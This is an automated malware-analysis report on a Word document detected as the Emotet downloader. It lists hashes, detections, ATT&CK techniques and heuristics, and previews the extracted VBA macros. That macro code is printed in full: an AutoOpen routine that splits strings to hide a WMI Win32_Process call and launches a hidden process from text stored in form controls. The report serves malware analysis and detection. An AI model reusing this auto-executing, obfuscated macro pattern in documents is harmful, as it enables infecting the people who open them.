Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 525df3e7fb2181e8…

MALICIOUS

Office (OLE)

121.9 KB Created: 2019-05-24 19:43:00 Authoring application: Microsoft Office Word First seen: 2019-06-27
MD5: e0e54a745d68dbb0e6bb8eb03e4ce2ae SHA-1: 31a899cfd0544d3f0cc87cd71c2f73f10441dbdf SHA-256: 525df3e7fb2181e85b555fdfd86ffd0b2abdf7f822e8c5db0ce1b0947d7900ec
222 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1140 Deobfuscate/Decode Files or Information

The sample is identified as Emotet by ClamAV and exhibits characteristics of a downloader. The presence of an AutoOpen VBA macro, specifically using CreateObject, strongly suggests it's designed to execute malicious code upon opening. The macro attempts to obfuscate strings, indicating a deliberate effort to hide its functionality, likely to download and execute a second-stage payload.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-10001946-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-10001946-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3458 bytes
SHA-256: 1da751c7f64deca13d9751c176ea531036b21bc5a4ab5560cbddbea7a92fe331
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "P8jBzNa, 0, 0, MSForms, ComboBox"
Attribute VB_Control = "YQHIKN38, 1, 1, MSForms, ComboBox"
Attribute VB_Control = "pMW1ir5, 2, 2, MSForms, ComboBox"
Sub _
autoopen( _
)
   Debug.Print "k41sonC" + "EPa95Z" + "aQfOjnT6"
Debug.Print ("O3JF7G_" + "vP4ztDFi")
Debug.Print "FZ8jnH8" + ("HPjwKC" + "G_TT9n")
Debug.Print "jniwLiJj"
SLfATq
   Debug.Print "kfdhm8cj" + "w5hOWd" + "DQjC1lti"
Debug.Print ("X1Riah" + "cwuHCZ")
Debug.Print "w1Q9KM" + ("IJYop3" + "KTEluY")
Debug.Print "IO6TI8"
End Sub


Attribute VB_Name = "jTI2jS_2"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "WWWhLYmU"

Attribute VB_Name = "PjMvtha"

Attribute VB_Name = "B1iYiB"

Attribute VB_Name = "f7Ew1f"

Attribute VB_Name = "kSuBz5h"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "u4wJ75WS"
Function SLfATq()
Rzwu_M4 = ThisDocument.YQHIKN38 + ThisDocument.pMW1ir5 + ThisDocument.P8jBzNa
   Debug.Print "lpSC1Uo" + "oiwOXk" + "B_wnTZM"
Debug.Print ("WjRP_AS7" + "Gr4uqq7w")
Debug.Print "zKiG5f" + ("uZPGRK" + "z6zidT")
Debug.Print "N1JPF9Y"
ZYzMZub = "mts" + ":Win32_Proces"
   Debug.Print "DVRJCu" + "E7oONf7b" + "NawElp7"
Debug.Print ("koCz_jZA" + "HDvLbz")
Debug.Print "KMAU83qf" + ("zunNFBY" + "Gpszii")
Debug.Print "djPUSR4"
Gacr_q("win" + "mg" + ZYzMZub + "s") _
.Create# Rzwu_M4, TsLHf98A, tRz0P1_, v9uzQuLH
   Debug.Print "DVmfN2" + "T0Q_Fi" + "ApFDLihP"
Debug.Print ("jSp6wf" + "XjRfRz")
Debug.Print "s9KnWR" + ("ISpc3hwX" + "IvfdKvK6")
Debug.Print "jfXQSC"
End Function


Attribute VB_Name = "S0ZGvv"
Function tRz0P1_()
ZYzMZub = "mts" + ":Win32_Proces"
   Debug.Print "ZFjn2i" + "tpHfq2J" + "H8w3Yhc"
Debug.Print ("TmvNoF" + "FAuKpfr")
Debug.Print "hqKOr_0" + ("hnVGjE_l" + "ipBBAF")
Debug.Print "JRicG6"
Set tRz0P1_ = Gacr_q("win" + "mg" + ZYzMZub + "sStartup")
   Debug.Print "suw_SQ" + "puwYnd" + "bWTD_SOJ"
Debug.Print ("AJ13TbJP" + "u1PDV1D")
Debug.Print "Gf0D8Cl8" + ("djmslP" + "waVOXtU")
Debug.Print "FQtJPPOI"
With tRz0P1_
   Debug.Print "pWziOw" + "s34iQlNu" + "muqridzB"
Debug.Print ("SLluUSZp" + "YCcprTs")
Debug.Print "sREJz6" + ("FwWrMj1" + "NJN0Li8W")
Debug.Print "OAAOvw2Y"
. _
ShowWindow = p114S3 + NimOACjz + lIzZNNZ + i6WLPKp + UG4qfZ
   Debug.Print "vSton9" + "wzf2GlD" + "wdGJ1A"
Debug.Print ("YjmfFq0A" + "N5dvaV")
Debug.Print "chj_Htv" + ("JRFFSqs" + "wA2Jj1F")
Debug.Print "zmLCv7Tb"
End With
   Debug.Print "jNzPHDc9" + "wTdSnv" + "DIsGIb"
Debug.Print ("jpERFV3A" + "TOuqZmHF")
Debug.Print "dMC1m7" + ("LhEVFSX" + "iNlbdMtY")
Debug.Print "TtG0Co"
End Function


Attribute VB_Name = "jOpJcfw"
Function Gacr_q(jccD6fZf)
Set Gacr_q = CVar(CreateObject(jccD6fZf))
End Function